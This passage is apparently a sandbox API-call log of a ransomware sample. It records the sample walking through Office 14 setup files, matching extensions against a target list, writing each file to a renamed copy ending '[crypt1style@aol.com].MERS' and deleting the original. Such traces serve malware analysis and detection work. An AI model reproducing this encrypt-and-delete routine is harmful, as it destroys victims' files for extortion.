Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.159] lstrlenW (lpString=".zip") returned 4 [0042.159] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0042.159] lstrlenW (lpString=".rar") returned 4 [0042.159] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0042.160] lstrlenW (lpString=".bz2") returned 4 [0042.160] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0042.160] lstrlenW (lpString=".7z") returned 3 [0042.160] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.160] lstrlenW (lpString=".dbf") returned 4 [0042.160] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.160] lstrlenW (lpString=".1cd") returned 4 [0042.160] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.160] lstrlenW (lpString=".jpg") returned 4 [0042.160] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.160] lstrlenW (lpString=".doc") returned 4 [0042.160] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0042.160] lstrlenW (lpString=".docx") returned 5 [0042.160] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0042.160] lstrlenW (lpString=".pdf") returned 4 [0042.160] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0042.160] lstrlenW (lpString=".xls") returned 4 [0042.160] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0042.160] lstrlenW (lpString=".xlsx") returned 5 [0042.160] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0042.160] lstrlenW (lpString=".ppt") returned 4 [0042.161] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.161] lstrlenW (lpString=".zip") returned 4 [0042.161] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0042.161] lstrlenW (lpString=".rar") returned 4 [0042.161] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0042.161] lstrlenW (lpString=".bz2") returned 4 [0042.161] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0042.161] lstrlenW (lpString=".7z") returned 3 [0042.161] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.161] lstrlenW (lpString=".dbf") returned 4 [0042.161] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.161] lstrlenW (lpString=".1cd") returned 4 [0042.161] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0042.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.161] lstrlenW (lpString=".jpg") returned 4 [0042.161] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0042.161] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0042.161] lstrlenW (lpString="SETUP.CHM") returned 9 [0042.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.420] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=67190) returned 1 [0043.420] CloseHandle (hObject=0x1c4) returned 1 [0043.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0043.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.421] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.421] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.421] GetLastError () returned 0x0 [0043.421] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x10676, lpOverlapped=0x0) returned 1 [0043.469] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0043.471] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.471] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.471] SetEndOfFile (hFile=0x17c) returned 1 [0043.471] CloseHandle (hObject=0x17c) returned 1 [0043.472] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.472] SetEndOfFile (hFile=0x1c4) returned 1 [0043.473] CloseHandle (hObject=0x1c4) returned 1 [0043.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.474] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0043.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.474] lstrlenW (lpString=".doc") returned 4 [0043.474] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.474] lstrlenW (lpString=".docx") returned 5 [0043.474] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0043.474] lstrlenW (lpString=".pdf") returned 4 [0043.474] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.474] lstrlenW (lpString=".xls") returned 4 [0043.474] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.474] lstrlenW (lpString=".xlsx") returned 5 [0043.474] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0043.474] lstrlenW (lpString=".ppt") returned 4 [0043.474] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.474] lstrlenW (lpString=".zip") returned 4 [0043.474] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.474] lstrlenW (lpString=".rar") returned 4 [0043.475] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.475] lstrlenW (lpString=".bz2") returned 4 [0043.475] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.475] lstrlenW (lpString=".7z") returned 3 [0043.475] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.475] lstrlenW (lpString=".dbf") returned 4 [0043.475] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.475] lstrlenW (lpString=".1cd") returned 4 [0043.475] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.475] lstrlenW (lpString=".jpg") returned 4 [0043.475] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.475] lstrlenW (lpString=".doc") returned 4 [0043.475] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.475] lstrlenW (lpString=".docx") returned 5 [0043.475] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0043.475] lstrlenW (lpString=".pdf") returned 4 [0043.475] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.475] lstrlenW (lpString=".xls") returned 4 [0043.475] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.475] lstrlenW (lpString=".xlsx") returned 5 [0043.475] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0043.475] lstrlenW (lpString=".ppt") returned 4 [0043.475] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.476] lstrlenW (lpString=".zip") returned 4 [0043.476] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.476] lstrlenW (lpString=".rar") returned 4 [0043.476] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.476] lstrlenW (lpString=".bz2") returned 4 [0043.476] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.476] lstrlenW (lpString=".7z") returned 3 [0043.476] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.476] lstrlenW (lpString=".dbf") returned 4 [0043.476] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.476] lstrlenW (lpString=".1cd") returned 4 [0043.476] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0043.476] lstrlenW (lpString=".jpg") returned 4 [0043.476] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.476] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.476] lstrlenW (lpString="Office32WW.XML") returned 14 [0043.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.477] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4274) returned 1 [0043.477] CloseHandle (hObject=0x1c4) returned 1 [0043.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0043.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.477] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.477] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.478] GetLastError () returned 0x0 [0043.478] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0043.536] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0043.537] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.537] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.537] SetEndOfFile (hFile=0x17c) returned 1 [0043.538] CloseHandle (hObject=0x17c) returned 1 [0043.538] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.538] SetEndOfFile (hFile=0x1c4) returned 1 [0043.539] CloseHandle (hObject=0x1c4) returned 1 [0043.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0043.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.539] lstrlenW (lpString=".doc") returned 4 [0043.539] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.539] lstrlenW (lpString=".docx") returned 5 [0043.539] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0043.539] lstrlenW (lpString=".pdf") returned 4 [0043.539] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.539] lstrlenW (lpString=".xls") returned 4 [0043.539] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.539] lstrlenW (lpString=".xlsx") returned 5 [0043.539] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0043.539] lstrlenW (lpString=".ppt") returned 4 [0043.540] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.540] lstrlenW (lpString=".zip") returned 4 [0043.540] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.540] lstrlenW (lpString=".rar") returned 4 [0043.540] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString=".bz2") returned 4 [0043.540] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString=".7z") returned 3 [0043.540] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.540] lstrlenW (lpString=".dbf") returned 4 [0043.540] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.540] lstrlenW (lpString=".1cd") returned 4 [0043.540] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.540] lstrlenW (lpString=".jpg") returned 4 [0043.540] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.540] lstrlenW (lpString=".doc") returned 4 [0043.540] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString=".docx") returned 5 [0043.540] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0043.540] lstrlenW (lpString=".pdf") returned 4 [0043.540] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.540] lstrlenW (lpString=".xls") returned 4 [0043.540] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.541] lstrlenW (lpString=".xlsx") returned 5 [0043.541] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0043.541] lstrlenW (lpString=".ppt") returned 4 [0043.541] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.541] lstrlenW (lpString=".zip") returned 4 [0043.541] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.541] lstrlenW (lpString=".rar") returned 4 [0043.541] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.541] lstrlenW (lpString=".bz2") returned 4 [0043.541] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.541] lstrlenW (lpString=".7z") returned 3 [0043.541] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.541] lstrlenW (lpString=".dbf") returned 4 [0043.541] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.541] lstrlenW (lpString=".1cd") returned 4 [0043.541] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0043.541] lstrlenW (lpString=".jpg") returned 4 [0043.541] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.541] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.541] lstrlenW (lpString="SETUP.XML") returned 9 [0043.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.550] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1988) returned 1 [0043.550] CloseHandle (hObject=0x1c4) returned 1 [0043.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0043.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.551] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.551] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.551] GetLastError () returned 0x0 [0043.551] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0043.633] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0043.634] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.634] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.634] SetEndOfFile (hFile=0x17c) returned 1 [0043.634] CloseHandle (hObject=0x17c) returned 1 [0043.635] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.635] SetEndOfFile (hFile=0x1c4) returned 1 [0043.635] CloseHandle (hObject=0x1c4) returned 1 [0043.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 